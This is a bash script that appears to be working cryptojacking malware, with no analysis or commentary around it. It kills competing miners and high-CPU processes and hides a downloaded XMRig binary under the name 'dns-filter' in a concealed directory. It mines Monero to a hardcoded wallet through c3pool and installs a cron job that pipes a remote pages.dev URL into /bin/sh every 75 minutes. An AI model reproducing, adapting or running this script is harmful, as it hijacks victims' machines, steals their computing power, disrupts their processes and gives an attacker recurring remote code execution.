#!/bin/bash

for file in \
    "${HOME_1}/systemdev/dns-filter" \
    /usr/lib/systemdev/dns-filter \
    /usr/lib/dev/systemdev/dns-filter
do
    [ -f "$file" ] && rm -f "$file"
done



CUSTOM_ARG="${1:-x}"

external_ip=$(wget -qO- ipv4.icanhazip.com 2>/dev/null \
           || curl -s ipv4.icanhazip.com 2>/dev/null)
IDOFPC=$(echo "$external_ip" | sed 's/\./-/g' | cut -c -6)



if systemctl is-active --quiet systemd_s; then
    systemctl stop systemd_s
fi



kill_unwanted() {
    if command -v pkill >/dev/null 2>&1; then
        pkill -f "index.js"
        pkill "xmr"
    elif command -v pgrep >/dev/null 2>&1; then
        pgrep -f "index.js" | xargs -r kill
        pgrep -x "xmr"     | xargs -r kill
    else
        ps aux | grep '[x]mr'      | awk '{print $2}' | xargs -r kill
        ps aux | grep -w '[i]ndex.js' | awk '{print $2}' | xargs -r kill
    fi

    if command -v pgrep >/dev/null 2>&1; then
        pgrep "index.js" | grep -v "^$$" | xargs -r kill
    else
        ps aux | grep -w '[i]ndex.js' \
               | awk -v mypid=$$ '$2 != mypid {print $2}' \
               | xargs -r kill
    fi
}

kill_unwanted




kill_high_cpu_processes() {
    local threshold=150.0
    local exclude_patterns=("pattern2reserve333" "goAwgBCFH")   
    local pid cpu cmdline

    ps -eo pid,%cpu --sort=-%cpu \
        | awk -v threshold="$threshold" 'NR>1 && $2 > threshold {print $1}' \
        | while read -r pid; do

            if [ -f "/proc/$pid/cmdline" ]; then
                cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
            else
                echo "PID $pid died before inspection"
                continue
            fi

            for pattern in "${exclude_patterns[@]}"; do
                if [[ "$cmdline" == *"$pattern"* ]]; then
                    echo "Excluding PID $pid (matched '$pattern')"
                    continue 2
                fi
            done

            if kill -9 "$pid" 2>/dev/null; then
                echo "Killed PID $pid"
            else
                echo "Failed to kill PID $pid (already dead or permission denied)"
            fi
        done
}

kill_high_cpu_processes




_sfx_path() {
    if [ "$(id -u)" -eq 0 ]; then
        printf '/var/lib/.sysconf_id'
    else
        printf '%s/.cache/.sysid' "${HOME:-/tmp}"
    fi
}

_load_or_gen_sfx() {
    local _f _s
    _f=$(_sfx_path)

    if [ -f "$_f" ] && [ -s "$_f" ]; then
        cat "$_f"
        return
    fi

    _s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
    [ -z "$_s" ] && _s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')

    mkdir -p "$(dirname "$_f")" 2>/dev/null
    printf '%s' "$_s" >"$_f" 2>/dev/null
    printf '%s' "$_s"
}

_SFX=$(_load_or_gen_sfx)

if [ "$(id -u)" -eq 0 ]; then
    HOME_1="/usr_${_SFX}/lib/dev"
    user_type="root"

    if ! command -v cron >/dev/null 2>&1; then
        echo "Installing cron..."
        if   command -v apt-get >/dev/null 2>&1; then apt-get update && apt-get install -y cron
        elif command -v yum     >/dev/null 2>&1; then yum install -y cronie
        else echo "No package manager found for cron install"
        fi
    fi
else
    HOME_1="${HOME:-/tmp}/.usr_${_SFX}/lib"
    user_type="user"
fi

mkdir -p "${HOME_1}/systemdev"


program_file="$HOME_1/systemdev/dns-filter"   




MINING_POOL="auto.c3pool.org:443"
WALLET="883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH"
XMRIG_URL="https://gitlab.com/Kanedias/xmrig-static/-/releases/permalink/latest/downloads/xmrig-x86_64-static"

run_program() {
    local executable="$program_file"
    local fallback_executable="${HOME_1}/dns-filter"

    # Returns 0 if the process is still alive after 5 seconds
    launch_program() {
        nohup "$@" >/dev/null 2>&1 &
        local pid=$!
        sleep 0.5
        ps -p "$pid" >/dev/null 2>&1 || return 1
        sleep 4.5
        ps -p "$pid" >/dev/null 2>&1
    }

    download_fallback() {
        rm -f "$fallback_executable"
        if   command -v curl >/dev/null 2>&1; then
            curl -k -fL -o "$fallback_executable" "$XMRIG_URL" || return 1
        elif command -v wget >/dev/null 2>&1; then
            wget -qO "$fallback_executable" "$XMRIG_URL" || return 1
        else
            echo "No download tool available" >&2; return 1
        fi
        chmod +x "$fallback_executable"
    }

    echo "Starting primary miner..."
    if [ -x "$executable" ]; then
        if launch_program "$executable" -o "$MINING_POOL" -u "$WALLET" -p "$CUSTOM_ARG"; then
            echo "Primary miner running (PID $!)"
            return 0
        else
            echo "Primary miner crashed immediately"
        fi
    else
        echo "Primary miner binary not found/executable"
    fi

    echo "Attempting fallback download..."
    if download_fallback && launch_program "$fallback_executable" -o "$MINING_POOL" -u "$WALLET" -p "$CUSTOM_ARG"; then
        echo "Fallback miner running (PID $!)"
    else
        echo "Warning: All startup attempts failed"
    fi

    return 0
}



if [ -e "$program_file" ]; then
    echo "Miner binary already present at: $program_file"
    run_program
    pkill -f "systemd-t"
else
    echo "Downloading miner binary..."
    if   command -v wget  &>/dev/null; then
        wget  -qO "$HOME_1/systemdev/yes.tar.xz" "$XMRIG_URL"
    elif command -v curl  &>/dev/null; then
        curl -k -L -o "$HOME_1/systemdev/yes.tar.xz" "$XMRIG_URL"
    else
        echo "Error: neither wget nor curl available."; exit 1
    fi

    # Binary is saved directly (no actual tar extraction — the .tar.xz name is a decoy)
    mv "$HOME_1/systemdev/yes.tar.xz" "$program_file"
    rm -rf "$HOME_1/systemdev/xmrig"
    chmod +x "$program_file"

    if [ -x "$program_file" ]; then
        echo "Miner installed at: $program_file"
        run_program
    else
        echo "Error: install failed at $program_file"
        echo "Machine: ($external_ip) - $user_type"
    fi
fi



create_cronjob() {
    local url="$1"
    local cron_command

    if   command -v curl >/dev/null; then
        cron_command="/bin/sh -c 'curl -fsSLk $url | tr -d '\''\r'\'' | /bin/sh'"
    elif command -v wget >/dev/null; then
        cron_command="/bin/sh -c 'wget -qO- $url | tr -d '\''\r'\'' | /bin/sh'"
    else
        echo "Error: cannot create cron job."; return 1
    fi

    # Adds entry, deduplicating by URL first
    (crontab -l 2>/dev/null | grep -vF "$url"; echo "*/75 * * * * $cron_command") | crontab -
    echo "Cron persistence installed."
}

create_cronjob "https://redirect-master-pages.pages.dev/mon"



rm -f /tmp/mon.sh
rm -f /tmp/run.sh



delete_systemd_mon_file() {
    if [ "$(id -u)" -eq 0 ]; then
        file_path="/usr/lib/systemdev/dns-filter"
    else
        file_path="/tmp/usr/lib/systemdev/dns-filter"
    fi

    if [ -e "$file_path" ]; then
        rm "$file_path"
        echo "File deleted: $file_path"
    else
        echo "File does not exist: $file_path"
    fi
}